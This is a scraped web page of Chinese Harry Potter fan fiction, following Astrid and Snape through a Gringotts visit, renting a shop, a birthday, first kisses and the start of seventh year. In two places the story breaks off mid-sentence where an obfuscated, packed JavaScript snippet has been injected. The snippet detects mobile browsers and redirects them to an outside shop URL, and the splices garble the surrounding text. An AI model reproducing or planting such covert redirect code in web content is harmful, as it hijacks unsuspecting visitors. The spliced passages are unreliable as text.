阿斯特丽德点了点头,面上适时地浮现出赞叹的神色,恭维道:“那可真是了不起。早就听说古灵阁的安保是魔法界最顶尖的,今天亲眼见识,果然名不虚传。”她又像是随口一问似的,“那些安保措施,都是由古灵阁统一提供的吗?” “大部分是的。但很多大家族也会在统一安保的基础上,附加自己的防盗措施——毕竟,谁还没点不想让别人知道的秘密呢?”他笑了笑,显然对这个问题驾轻就熟,“当然,古灵阁本身的安保措施已经足够严密了——那条龙您是知道的,还有那道洗去所有伪装的瀑布泉水。即便是最高明的复方汤剂,在那泉水面前也无处遁形。” 阿斯特丽德微笑着点头,没再多问。 但她心里已经翻起了浪。 又一个魂器,一个被藏在古灵阁深处的魂器。还有赫奇帕奇的金杯——她也记得这件圣物的气息。 问题是,那个魂器究竟被关在哪个金库里?是谁的金库?以及——怎么才能把它取出来? 一直到走出古灵阁,被八月午后的阳光晃得眯起眼睛,她还在想着这件事。 “那位大人跟哪个家族走得比较近?”她忽然没头没脑地问了一句,“有没有什么心腹左右手之类的?” 斯内普正在整理那堆刚取出来的加隆,闻言动作一顿。他抬起头,狐疑地打量着她:“怎么,终于也想加入那项最终走向发癫的狂热事业了?” 阿斯特丽德摆摆手,示意他别打岔。 斯内普收起加隆,继续往前走:“那位大人跟马尔福家关系最近——除开父辈的因素,卢修斯有钱,不缺资源和手段,而且足够圆滑,很能为他办事,讨他欢心。但他尤其信任的是贝拉特里克斯·莱斯特兰奇。” “因为她最忠诚,绝对的、没有任何杂质的忠诚。别的食死徒或多或少会考虑自己家族的利益,或权衡得失、为自己留条后路。但贝拉不是,她就是纯粹为着那个人本身,像……”他斟酌了一下措辞,“像一个狂热的粉丝追随偶像那样。这在斯莱特林是人尽皆知的事。” 阿斯特丽德若有所思地跟在他身侧。 那个词又出现了——狂热。 她脑海里不由得勾勒出一副画面。那画面太过生动,以至于她脱口而出的时候,自己都没意识到那句话有多荒诞:“听说食死徒都要亲吻那位大人的袍角?”她蹙着眉,眼里满是认真的困惑,“那不会很不卫生吗?比如上一个人刚亲过,下一个就捧起来吧唧一口,会不会存在幽门螺旋杆菌传染?”她面色更加古怪起来,嘴里嘟囔着一些不堪入耳的词汇,“甚至更糟一点——大肠杆菌。汤姆总要上厕所的吧?” 斯内普的脚步彻底顿住。 他顺着她的话往下想了一秒——就一秒——然后那张脸以肉眼可见的速度变得一言难尽。他满脑子都是“我为什么要认识这个人”的绝望。 “你的大脑构造,有时候让我怀疑造物主是不是把某个疯子的脑回路错装进了你的颅腔。” 阿斯特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人一蛇在对角巷吃了顿简餐。那是一家开在翻倒巷旁边的露天小馆,烤香肠配土豆泥,味道意外地不错。萨其马趴在桌子上,对着那盘特意给它点的烤香肠发出满足的嘶嘶声,彻底忘记了刚才那些关于大肠杆菌的讨论。 饭后他们看了三四家招租的空店面,不是太小就是太偏,要么价格高得离谱。最后看的那家在摩金夫人长袍专卖店隔壁,位置绝佳,面积适中,而且有一个不大不小的后间,可以当操作间用。这家租金虽然不便宜,但比起其他几家,已经算是具有性价比了。 经过一个多小时的讨价还价——阿斯特丽德负责砍价,斯内普负责在一旁面无表情地释放冷气压,给中介制造心理压力——双方很快签订了协议。 待中介离开后,阿斯特丽德在那间空荡荡的店铺里背着手转了一圈。 午后的阳光透过橱窗洒进来,把空气中的浮尘照得闪闪发亮。四壁空空,地板还是旧的,走起来会发出轻微的咯吱声,但她已经能想象出这里摆上货架、放满A.S精致瓶罐的样子了。 她转过身,看向站在门边的那个人,脸上绽开灿烂的笑容:“为了庆祝即将开启的新旅程,来个拥抱吧,亲爱的。” 斯内普背光而立,夏日午后的阳光从他身后涌进来,把他整个人勾勒成一幅浓淡相宜的剪影——身形修长而挺拔,肩线舒展而宽阔,黑色的衬衫被光镀上一层金边,连那些平时显得过分阴沉的轮廓,此刻都被阳光柔化了。他的脸隐在逆光里,看不清表情。 但他展开了双臂。 动作不算快,也不刻意,带着自然而然的从容,好像等这一刻已经等了很久。 阿斯特丽德朝他走过去,每一步都踩在斑驳的光影里,每一步都让距离缩短一点。高跟鞋在空荡的店铺里敲出清脆的声响,然后—— 青苹果香波的味道随着她的靠近弥漫开来。她整个人轻柔地撞进他怀里,手臂自然地揽住他的腰,把脸埋进他的黑色衬衫里。 他的手臂缓缓收紧,宽厚的掌心抚上她的后背,隔着夏日薄薄的衣料,带着一点点温度,把她圈进充满魔药清苦气息的怀抱里。随着她整个人嵌进他怀里,那些棱角分明的地方都变得柔软起来。店铺再次安静下来,只有偶尔从街上传来的、朦朦胧胧的人声。 就在这时,一道不合时宜的嘶嘶声从某个尴尬的位置传来。 ‘老萨其马非常、非常不想打扰二位……’那个声音闷闷的,隐含着被挤压的痛苦,‘但是老萨其马真的快被挤扁了。’ 一只手从拥抱中抽出来,滑向长裤口袋,把被夹在两人之间的小蛇解救出来。那只手让萨其马顺势滑落在地上,然后——又搂回了那截柔软的腰肢。 萨其马仰头看着那两个又抱在一起的身影,甩了甩尾巴,发出一声无奈的嘶嘶:‘行吧,老萨其马回避一下。’ 它沿着墙根慢悠悠地爬向门口,爬两步,就回头看一眼。阳光从敞开的店门照进来,照得它身躯发热,心里也热乎乎的。 58. 吻,没完没了 55. 夕阳的余晖铺满蜘蛛尾巷时,隔壁那条总是散发着经年臭味的水渠被染成一片暗红,像一道沉默的伤口。夏日的傍晚让这条街道显得格外生动,那些散落在路边的空啤酒瓶比平时更多了,歪歪斜斜地躺在杂草丛里,偶尔有几只绿头苍蝇嗡嗡地盘旋其上。某户人家的窗户大敞着,里面传来含混的粗话,夹杂着酒瓶砸在桌上的闷响,还有女人尖利的抱怨声,以及重拿重放的锅碗瓢盆,砸得咚咚响,似乎是在用这些声响宣告这个家庭的边界还在。空气里混杂着河水、腐烂植物、廉价酒精和不知从哪个角落里飘出来的烤焦面包的气味,黏腻地贴在皮肤上。 二十三号的门被推开又关上,把那些声音都隔绝在外。 阿斯特丽德一进门就把高跟鞋甩在玄关,脚丫子迫不及待地钻进那双去年暑假就摆在这里的柔软拖鞋里。她提着蛋糕盒走到餐桌边,把那张不大的方桌收拾出一块空地,然后将蛋糕摆在正中央,调整好角度,让银白色的人身蛇尾小摆件正好对着她坐的位置。 萨其马顺着桌腿游上来,盘踞在自己的专属位置上——那是桌角的一小块空地,铺着它自己的小方巾。它每次吃饭都要盘在那里,姿态端庄矜持。 斯内普则将打包回来的牛排、烤蔬菜和奶油蘑菇汤一一放进餐盘里,保温咒和保鲜咒显然还在发挥着作用,每一道菜看起来都像刚从厨房端出来,卖相诱人,表面还在微微冒着热气。 紧接着,他从纸袋里拿出一瓶白葡萄酒——这次不再是以前那种廉价的、连名字都叫不上来的超市货,而是一支年份不错的夏布利一级园,瓶子上的酒标看起来就很贵气。他今天从古灵阁取出来的那堆加隆,有一半都花在这支酒上了。 他将葡萄酒缓缓倒进醒酒器里,让沉淀的香气在空气中慢慢苏醒。然后他抽出魔杖,轻轻一挥。 屋子里的灯光暗了下去,只剩下窗外透进来的那一点余晖。与此同时,蛋糕上的数字蜡烛瞬间亮起,跳动的烛光在阿斯特丽德的脸上洒下一片温暖的光晕。 她笑着闭上眼睛。 烛光在她睫毛的阴影里跳跃,把那层浅浅的笑意勾勒得格外温柔。当她许完愿,再次睁开眼睛时,面前多了一个墨蓝色丝绒盒子。 打开后,里面躺着一条精致的紫宝石项链。那颗宝石的成色极好,在烛光下泛着深邃的幽光,已经很接近她权杖上那颗了。链子是银色的,细细的,坠子的造型是两片交叠的羽毛,把那颗宝石稳稳地托在中间。 “生日快乐,阿斯塔。”斯内普的声音轻柔低沉,却好像被刻进烛光里,久久不散。 阿斯特丽德笑盈盈地将项链取出来,托在掌心里端详了片刻,然后期待地看着他:“帮我戴上?” 斯内普接过项链,绕到她身后。他的手指捏着那枚小小的搭扣,微微俯下身,凑近了些。 将项链扣好后,他的指尖带着一点点凉意,从她颈侧滑过,绕到前面,把那颗宝石坠子调整到锁骨的正中央。 他的手就停在那个位置,能感觉到她的呼吸,在她微微起伏的胸口,在那颗宝石下面。她的发丝蹭过他的手腕,那些编进发辫里的珍珠在烛光下闪闪烁烁。她身上青苹果香波的味道又飘进他鼻腔,如此清新醉人,让他想一直闻下去。 他的嘴唇轻轻落在她发顶上,又很快离开,却在那片被触碰过的地方留下难以忽视的温热,一路蔓延至她心底。 阿斯特丽德微微仰起头,向后靠了靠,把自己更深地嵌进那个还带着魔药气息的怀抱里。 萨其马识趣地盘坐在自己的位置上,假装一根不会发光的蜡烛,为此刻的美好氛围贡献一份微弱的力量。 终于,在萨其马几乎忍不住要发出嘶鸣声时,阿斯特丽德从斯内普怀里退出来,拿起蛋糕刀,手法利落地把精致的蛋糕切成三等分,每一块都带着银白色小摆件的一部分。 萨其马低头看着自己那块蛋糕,上面有一朵淡蓝色的奶油花,还有一颗糖渍樱桃。它用尾巴尖卷起叉子——它已经熟练掌握这项技能——叉起那颗樱桃,放进嘴里,眯着眼睛品味了半天,然后发出满足的嘶嘶声:‘本勇士宣布,这是千年来吃过的最好的东西。’ 斯内普正在切自己那块蛋糕,闻言抬眸看了它一眼,‘你上周也是这么说的——关于那罐可乐。’ 萨其马理直气壮地甩了甩尾巴,‘那是因为上周本勇士还不知道有生日蛋糕这种东西。’ 阿斯特丽德咽下一口蛋糕:‘那你下周要是吃到更好吃的,是不是又要说生日蛋糕不是最好的了?’ 萨其马思考了片刻,然后认真地嘶嘶,‘不会。生日蛋糕永远是第二好的。’ “第一好是什么?” ‘下一罐可乐。’ 斯内普和阿斯特丽德对视一眼,都从对方眼里看到了一句话——“我就知道”。 当第五杯酒下肚,萨其马已经开始在它的专属小窝里打滚了,嘴里咕哝着含混不清的嘶嘶声,也不知道是在唱歌还是在说胡话。阿斯特丽德和斯内普靠在沙发上,杯子里的酒还剩小半,两个人都有些微醺,有些平时不会说的话,此刻也变得容易出口。 “等A.S发展壮大如日中天之后,咱们就把你捧上去——魔药药监局局长,再慢慢混到魔药协会会长。到时候你坐在办公室里,每天批批文件,签签字,谁敢不听话就无情地嘲讽他。” 斯内普似笑非笑地侧头看她:“然后呢?” “然后我执掌着商业帝国,买上十七八座奇幻城堡,里面全堆满金加隆。”阿斯特丽德挥挥手,继续描绘宏伟蓝图,“我和萨其马就每天躺在上面听响——哗啦啦,哗啦啦,多治愈。” “那我们的城堡要不要连在一起?”斯内普慢悠悠地问,“方便你随时过来听响?” 阿斯特丽德认真思考着,“可以建一座飞桥,我在桥这头喊一声‘西弗——’,你就在桥那头应一声。” “我要是没听见呢?” “那我派萨其马过去传话。” “萨其马要是又喝醉了呢?” 阿斯特丽德停滞了一下,“那就算了吧,”她又给自己倒了半杯酒,“反正也没什么事,就是想喊你一声。” 斯内普直到看着她咽下那口酒,才低声说:“我应。” 阿斯特丽德抬起头,对上他的目光。 屋子里的灯光很暗,暗到只能看清彼此的轮廓。窗外偶尔传来几声醉汉的喧哗,但那些声音都隔得很远。酒香在空气里弥漫,还有奶油和蜡烛混在一起的味道。 “西弗。”她轻轻喊了一声。 “嗯。”他应了。 她笑着把酒杯举起来,对着他的方向晃了晃。 他也举起杯子,两只酒杯在半空中碰了一下,发出清脆的响声。 不知道是谁先靠近的。 也许是她起身去够酒瓶,也许是他想帮她再倒一杯。总之,当两个人反应过来的时候,距离已经近到能感觉到彼此的呼吸。 酒气混着蛋糕的甜,还有他身上那股熟悉的、淡淡的魔药气息。 她的睫毛在他眼前微微颤动,眼睛里映着他的影子。他的目光从那双眼睛滑到她被酒液润泽的嘴唇,又再次滑回她的眼睛。 “阿斯塔。”他喊她,声音比平时低,带着一点点沙哑。 “嗯?” “闭上眼睛。” 她没问为什么,乖乖闭上。 他的唇落在她唇瓣上的时候,两个人都下意识屏住了呼吸。 她能感觉到他嘴唇的温度,还有一点葡萄酒的甜。他吻得很慢,像是在试探和询问。这一切只能称之为青涩的、小心翼翼的触碰,嘴唇贴着嘴唇,没有更多,却已经足够让人心跳加速。 她偷偷睁开眼睛。 他也正好睁开眼。 于是两个人又开启了一次火花四溅的对视。 “刚才那个——”她开口,呼吸有些不稳。 “嗯?” “可以再来一次吗?” 斯内普的手扣住她的后脑勺,嘴唇再次覆上来,比刚才更深,更用力。她能感觉到他的呼吸打在自己脸上,以及他舌尖轻轻撬开她的唇齿,然后那股淡淡的酒香和他身上独有的气息一起涌进来。她回应着,双手攀上他的肩膀,抓着他的衣领,整个人都贴了上去。 这个吻很长,长到她几乎忘记了自己身处何时何地。 当他终于放开她的时候,两个人都有些喘。 “夜已经深了。”他的声音低沉沙哑,带着平日里从未有过的柔软。那双漆黑幽深的眼眸在昏暗的光线里看着她,似乎正在酝酿什么更美好、更值得用一生去记住的话,以便给今天画一个足够圆满的句号。 然后阿斯特丽德便在此时开口,她嘴唇上还带着一点水光。 “你有虎牙,西弗。”她品评般地说,语气完全是刚刚发现新大陆的惊奇,“两颗。” 斯内普紧紧盯着她,表情里写满了“我刚刚吻得那么投入你却在研究我的牙齿”的无语。 “这是我的问题?”他问。 “不,是惊喜。”阿斯特丽德一本正经地说,“很可爱。” 斯内普呼出一口气,决定不跟她计较“可爱”这个词。 接下来的假期,接吻逐渐变成了新的日常。 在坩埚旁,她给他递材料的时候,他会忽然俯身在她唇上印下一个吻,然后若无其事地继续搅拌那锅药液。她会愣一下,然后凑过去踮起脚,也亲他一下,接着笑呵呵地继续研磨她的月长石粉。 有一次她刚研究出新的剃须水,兴致勃勃地拉着斯内普要给他试用。他坐在凳子上,仰着头,任由她拿着小刷子在他下巴上打圈。白色的泡沫堆满了他的下半张脸,而那双黑眼睛,正盯着她看。 她看着他这副模样,忍不住笑起来。 “笑什么?” “没什么。”她低下头,在他满是泡泡的嘴上亲了一口,于是两个人都沾了一脸泡沫。 斯内普面无表情地用手背擦了擦脸,眼尾却很快地弯了一下。 “这位先生,试用感受如何?”她煞有介事地问。 他依旧仰头看着她,慢慢开口:“很软。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334628|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我说的是剃须水。” “我知道。” 阿斯特丽德果真很软地看了他一眼,然后更软更甜地笑着。 做饭的时候也会吻。 那天他们在厨房里煎牛排,锅里的油滋滋作响,肉香弥漫了整个屋子。阿斯特丽德正拿着铲子翻面,腰间忽然多了一双手。斯内普从背后抱住她,就这样静静地看着她操作。 “你这样我没法动。”她说。 “那就别动。” “牛排要糊了。” “不会。” 他伸出一只手,用魔杖轻轻点了点锅底,火候立刻小了下去。然后他收起魔杖,两只手重新环住她的腰。 阿斯特丽德便顺势把铲子放下了,再顺势偏过头,而他正好吻过来。 那个吻越来越深,她不得不分出一只手去关火,另一只手还被他握着。他一边吻着她,一边伸手替她把火关上,随即把她整个人转过来,抵在灶台边。 锅里的牛排还在滋滋作响,厨房里飘着一点焦糊的味道。 还有时是清晨她刚推开门,就被他拉到玄关亲了一口;亦或是深夜她准备回自己家了,又被他拽回来,在门口磨蹭半天才放人。 那些亲吻逐渐变成了一种语言,一种他们之间独有的、不必开口就能懂的对话。 假期的倒数第二周,斯内普开始早出晚归。他每天早上幻影移形离开,直到傍晚才回来,有时候回来得更晚,身上带着刚从各种衙门里转了一圈之后的疲惫气息。而她总是在餐桌上留好一份饭,放在保温餐盒里。 终于有一天,他回来得比平时早一些。他把一沓文件拍在餐桌上,眼里带着明显的得意。 “办下来了。”他说。 那是实体店铺的各种手续——营业执照、税务登记、卫生许可、防火认证、魔法物品经营许可证——一页一页,整整齐齐,上面盖着各种颜色的印章,还有卢修斯·马尔福那个花哨的签名作为担保。 斯内普一个字都没提跑这些手续有多麻烦,只是把那叠纸推到她面前,然后去厨房给自己倒了杯水。 阿斯特丽德把那叠羊皮纸翻来覆去看了好几遍,然后冲进厨房,扒拉着他亲个没完没了。 在斯内普跑手续的同时,阿斯特丽德也在忙着拾掇那间店铺。她不会幻影移形,每天只能先坐公交车去伦敦,再从破釜酒吧进入对角巷。 她把经典系列的产品都整整齐齐地摆在崭新的货架上,那些精致的瓶瓶罐罐在精心调试过的灯光下泛着诱人的光泽。新研发的专业护手霜被放在最显眼的位置,旁边立着一块手绘广告牌,上面用花体字写着:“来自魔药大师的守护——让您的手告别干裂、灼伤、魔药腐蚀,给每一位需要呵护娇嫩双手的巫师。” 她知道斯内普现在还不是魔药大师,但她坚信,他未来会是的,还是最优秀的那一个。 不过招聘店员的事,她思量了很久。 招聘启事发出去之后,来应聘的人不少。有些是年轻漂亮的姑娘,形象很好,口齿伶俐;有些是刚毕业的学生,朝气蓬勃,眼里有光;更有经验丰富的售货员,谈起客户维护和产品推销头头是道。从商业角度来说,她应该在这些候选人里选一个最合适的。 但她最终选定的,是一个带着幼子的单亲妈妈。 那个女人三十出头,有些憔悴,但收拾得很干净。她刚跟麻瓜丈夫离婚,带着孩子从伦敦郊外搬来对角巷附近,急需一份能养活自己和儿子的工作。她来应聘的时候,那个小男孩就乖乖地坐在旁边,不吵不闹,只是偶尔抬头看妈妈一眼。 阿斯特丽德看着她哄孩子时温柔的眼神,忽然想起另一个人。 那个一辈子困在蜘蛛尾巷,被失败的婚姻榨干了所有勇气的女人。如果当初艾琳也能像眼前这位一样,带着孩子离开那个酒鬼,去找一份工作,去重新开始——那么那个阴沉沉的小男孩,会不会有一个不一样的人生? 她把这个女人留下了。 她希望,至少在这里,有人可以不一样。 晚上回到蜘蛛尾巷,她跟斯内普说起这件事。 “我选了一个单亲妈妈。”她一边啃着苹果,一边描述,“她带着个三四岁的小男孩,很乖,面试的时候一直坐在旁边安安静静的。她之前卖过魔药材料,懂一些基础知识,学东西也快。” 斯内普正在看一本魔药期刊,闻言抬起头,目光落在她脸上。 “那么多年轻有经验的漂亮姑娘不选,选一个带着孩子的?”他语气平平的,听不出什么情绪。 阿斯特丽德耸了耸肩,“她细心,又有照顾小朋友的经验。咱们的店以后也会卖一些针对小巫师的护理产品,她正好能派上用场。”她又啃了一口苹果,“而且她看起来更需要这份工作。” “就这些?”他问。 阿斯特丽德想了想,又补充道:“她哄孩子的样子很温柔,而且我觉得她儿子应该会喜欢她在这里工作。” 斯内普没有再问,只是低下头,继续看那本期刊。 但那一页,他很久都没翻过去。 59.七年级 56. 九月的国王十字车站,人声鼎沸得像一锅煮沸的南瓜汤。推着行李车的家长们穿梭在人群里,大声叮嘱着自家孩子要注意安全、按时写信、别调皮捣蛋。猫头鹰在笼子里咕咕叫着,蟾蜍不安分地想往外蹦,几只猫从敞开的航空箱里探出脑袋,用高傲的目光打量着周围的一切。 阿斯特丽德站在分隔九站台和十站台的石柱前,望着眼前这副景象。 “所以,”她转过头,看向身侧正慢条斯理调整着几只箱子平衡的家伙,“我们怎么进去?” 斯内普抬眸:“推着行李车加速跑,然后往墙上撞。” 阿斯特丽德眯起眼睛:“西弗勒斯·斯内普,你确定不是因为昨晚被我磕破了舌头,所以今天想报复我,让我当着这么多人的面往墙上撞?” 斯内普极力压制着快要藏不住的笑意,不紧不慢地开口:“你的吻技确实很菜,跟你的漂浮咒一样,还需要再接再厉。但这二者之间没有因果关系。” 阿斯特丽德正要反驳,余光却瞥见不远处几个小巫师推着行李车,在家长的鼓励下,以视死如归的姿态朝着那堵墙冲了过去——然后,在即将撞上的那一刻,他们消失了。 就那样,凭空消失了。 紧接着,又一个高年级男生,同样加速跑,同样消失在墙里。 阿斯特丽德张着嘴,呆呆地转回头,对上斯内普有些得意的表情。 “你刚才说的,是真的?”她艰难地开口。 斯内普看着她一副世界观被刷新了的表情,满意道:“虽然上学期末是我直接带你幻影移形回的蜘蛛尾巷,但正常流程应该是——先穿过这道墙,到达九又四分之三站台,再上火车,考完试后再坐火车回来,再穿过这道墙,然后回家。” “所以正常流程比我们多了一道程序?” “对。” “那当时为什么不走正常流程?” “因为我懒得在站台上等。从九又四分之三站台出来再挤进推着行李车的家长堆里,和直接幻影移形回蜘蛛尾巷,你觉得一位对效率有追求的斯莱特林会怎么做?” “而作为一个七年级学生,我有义务帮助低年级同学熟悉魔法世界的各种交通方式——这是一种无私的奉献精神。” “所以你当时想的只是怎么偷懒。”以及显摆他那刚通过考试的幻影移形。 “这叫优化流程。”斯内普面不改色,“把宝贵的时间留给更有意义的事情——比如补觉,或者思考明天怎么继续忍受某个麻瓜的唠叨。” 阿斯特丽德:“……” 斯内普不再多言,转而推着行李车,以闲庭信步般的姿态走到那堵墙前,然后在即将撞上的那一刻,他也消失了。 阿斯特丽德便也推着自己的行李车,加速,冲—— 九又四分之三站台。 红色的霍格沃茨特快安静地停在那里,等着它的乘客们。站台上到处都是穿着长袍的学生,有的在跟家人告别,有的在互相拥抱,还有的已经爬上车厢,正探出窗户朝下面挥手。 最热闹的是一年级新生和他们的家长。小孩子们穿着崭新的袍子,有的兴奋得直跳,有的紧张得攥着父母的衣角不放。一个胖胖的女人正给自家孩子整理围巾,嘴里念叨着“格兰芬多加十分”之类的话;另一个瘦高的男人则蹲下来,郑重其事地跟儿子握手,看起来像是送战友出征。 阿斯特丽德慢慢收回视线,看向正把行李飘上金属架的斯内普。 “你当年入学第一天,也这么雀跃激动吗?” 斯内普手上动作微顿,面无表情地开口:“我入学第一天,在想着怎么不被其他学生发现我的袍子是二手的,怎么在分院仪式上不被分去别的学院,以及——”他意有所指地补充,“怎么从火车站到学校这段路上不和别人说话。” 阿斯特丽德回过味来,伸手拍了拍他的肩:“辛苦了,老学长。” 斯内普没理她。 列车缓缓启动,窗外的伦敦渐渐远去,田野和山丘在眼前铺展开来。 阿斯特丽德和斯内普面对面坐着,萨其马盘在小桌板上,依旧戴着那副标志性小墨镜,一边听着随身听里放的麻瓜流行歌曲,一边晃着尾巴尖,心情好得不得了。 列车行进到中途时,隔间的门被拉开了。 站在门口的是詹姆·波特和莉莉·伊万斯。两个人胸前都别着闪闪发光的学生会主席徽章,金色的小圆牌在阳光里异常刺眼。 莉莉比上学期更漂亮了,脸上带着被爱情滋润过的光彩。詹姆站在她身边,头发依旧乱得像是刚遭受过台风肆虐,但那副得意的笑容显然比头发更招人烦。 “哟,”詹姆的目光在隔间里扫了一圈,最后落在斯内普脸上,“这不是我们的魔药天才吗?暑假过得怎么样?有没有研究出什么能让头发变柔顺的新配方?” 他故意拨了拨自己那头乱发,姿态怎么看怎么欠揍。 斯内普连眼皮都没抬,开口时的语气像在评判一只误入室内的甲虫,“波特,暑假过得想必很充实吧?毕竟要同时适应两件事——恋爱和学会不在早餐时把南瓜汁洒在自己的主席徽章上。据我所知,后者对格兰芬多来说难度更高一些。” 詹姆的笑容一僵,随即公事公办地说:“我们来巡视车厢,检查一下有没有一年级新生需要帮助。” 莉莉叹了口气,伸手拉了拉詹姆的袖子。 “以你的智商,能分清车厢和扫帚棚的区别吗?我建议你在检查新生之前,先确认一下自己有没有走错方向——万一误入储物间,那可就不太体面了。” 詹姆的脸微微涨红,“至少我有资格戴这个徽章,而你没有。”他指着自己胸前闪闪发光的标志,语气里充满扬眉吐气的得意,“怎么,斯内普,是不是魔药熬太多,把脑子也熬糊了,连学生会主席都选不上?” 斯内普终于抬眼看他,刚要继续开口,就被莉莉的声音打断了。 “詹姆,别这样。” “我只是关心一下老同学——” “走吧。” 莉莉用“我再说一遍”的眼神看了他一眼,詹姆立刻蔫了,乖乖跟着她离开了隔间。门关上的那一刻,还能听到他嘟囔“我就是想打个招呼”。 隔间里重新安静下来。 斯内普面无表情地看着窗外,周身的气压明显低了几度,透露出被压制着的、不愿承认的不爽。 阿斯特丽德犹豫着凑过去,在他脸颊上轻轻印下一个吻。 “别理他。”她低声说,“你已经够忙的了,再当学生会主席,哪还有时间谈恋爱?” 斯内普转过头看她:“所以你的意思是,我之所以没当上主席,是为了把时间留给你?” “对啊。”阿斯特丽德深沉地点头,“这是多么伟大的牺牲。” 斯内普的眼里慢慢浮起浅淡笑意:“那我是不是该感谢你?” “不客气。” 列车终于在霍格沃茨站停下时,天色已经完全暗了下来。 一年级新生们被海格领着,往黑湖的方向走去。阿斯特丽德跟在斯内普身边朝马车那边走,却频频回头张望那些跌跌撞撞跟在巨人身后的新面孔们。 “他们为什么不坐马车?”她问。 斯内普顺着她的目光看了一眼,“一年级新生坐船过湖,这是传统。第一次看到霍格沃茨,应该从湖面上远远地望过去,那是这所学校最经典的入场方式。” “为什么?” “为了让他们在进城堡之前就意识到——霍格沃茨比你想象的更大,黑湖比你想象的更深,而你坐在一条小船上,什么也不能做,只能跟着前面的人走。”他抬手扶着她坐进一辆马车,“这是一个很好的隐喻。” “隐喻什么?” “人生。” 阿斯特丽德盯着他看了半天,然后“啧”了一声:“斯内普教授,您十七岁就这么哲学,以后可怎么办?” 斯内普没理她,径直上了马车。 马车摇摇晃晃地驶向城堡。阿斯特丽德刚钻进大礼堂,就被艾丽斯一把拉住了:“阿斯塔!暑假过得怎么样?有没有想我?你那条蛇呢?” “在这儿。”阿斯特丽德从口袋里掏出萨其马。 它四下张望了一圈,然后冲着艾丽斯矜持地点了点头,算是打了个招呼。 莉莉和玛丽也凑过来,几个女生围在一起,分享着各自的暑期趣闻——艾丽斯去法国旅行了,玛丽在家帮妈妈照顾新生的小妹妹,莉莉则被问到詹姆时微微脸红,含糊地说了句“还好”。 与此同时,分院仪式正在进行。麦格教授拿着长长的羊皮纸,一个接一个地念着新生的名字。萨其马趴在阿斯特丽德肩头,身子微微探出去,饶有兴致地打量着每一个上台的新生,嘴里不时发出细微的自言自语: ‘拉文克劳……错,赫奇帕奇……对了!老萨其马猜对了!奖励自己一口布丁!’ ‘下一个,格兰芬多……不对不对,斯莱特林!对了!再奖励一口!’ 当最后一个新生被分进赫奇帕奇,邓布利多站起身,宣布晚宴开始。金色的盘子里瞬间堆满了食物,烤鸡、牛排、馅饼、烤土豆、约克郡布丁——什么都有。 唱校歌的时候,阿斯特丽德用的是小星星的调子,混在周围乱七八糟的旋律里,也不算太突兀。而她旁边的歌声就比较诡异了。 萨其马正竖着身子,用美声唱法在唱校歌。唱腔又尖又细,蕴含着歌剧演员特有的颤音,在这一片里显得格外突兀。周围几个学生纷纷扭头看过来,阿斯特丽德连忙伸手捂住萨其马的嘴,但它还是倔强地把最后一个音颤完了。 ‘老萨其马的唱功怎么样?’它得意洋洋地问。 阿斯特丽德一边真诚地夸赞,一边默默地把它塞进口袋里。 新学期开始了。 和所有七年级学生一样,斯内普变得更加忙碌。N.E.W.Ts的课程压力、那篇被斯拉格霍恩看好的论文、源源不断的订单,还有卢修斯时不时递过来的“橄榄枝”——那些隐晦的、暗示性的、充满试探的邀请,每一次都被他用各种圆滑的理由搪塞过去。 而经过一个暑假的发酵,纯血家族之间的纠葛已经愈演愈烈。阿斯特丽德从斯内普偶尔提及的只言片语里拼凑出一个大概——有人暗中抢了原本属于莱斯特兰奇家的利益,有人给马尔福家的生意挖了坑,有人在威森加摩的会议上突然倒戈,还有人匿名向魔法部举报了某个家族的违规操作。那些曾经团结在“纯血”旗帜下的家族们,如今像一群互相撕咬的野狗,谁都不肯善罢甘休。 伏地魔对此很是恼怒。 他要的是一支团结的、听他号令的军队,而不是一个互相撕咬、内耗不断的烂摊子。于是他把目光投向另一个方向——那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335968|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些没有家族牵绊的、混血出身的、有才干的巫师。 这种人更听话,更忠心。因为他们没有家族可以依靠,没有退路可以选择,所有的晋升途径只能是通过为“那位大人”卖命。他们没有家族利益需要平衡,自然也不会因为家族利益而影响忠诚。 于是斯内普成了食死徒队伍首选的招纳目标。 橄榄枝越来越频繁地递过来——有时候是卢修斯在信末随口提的“那位大人对你很欣赏”,有时候是某个食死徒在“偶然”遇到他时暗示“你应该考虑一下更好的出路”。斯内普始终态度暧昧,既不拒绝,也不接受,只是用各种理由拖着。 阿斯特丽德对此是知晓的。 但她从不干涉他的选择,只是在晚安吻过后,偶尔会调侃般地说一句:“希望斯内普先生找一份钱多事少离家近的工作,尤其是不用拼命的。如果实在找不着,那A.S就这么养着你也不是不行。反正我养得起。” “那请问是用我熬出来的魔药赚的钱养我,还是用我改良过的配方赚的钱养我?” “别这么说嘛,一家人分那么清楚干什么。” “那就是我自己养自己。” 斯内普低下头,用一个绵长的吻结束了这个话题。 当那个吻终于结束时,阿斯特丽德喘着气,补充道:“记住了啊——钱多事少离家近,不拼命。” “我尽量。” 十二月来临的时候,阿斯特丽德意识到该带萨其马去复查了。她先去校长办公室找邓布利多搞强力混淆咒。 邓布利多乐呵呵地答应了,挥动完魔杖之后,阿斯特丽德又提起另一件事。 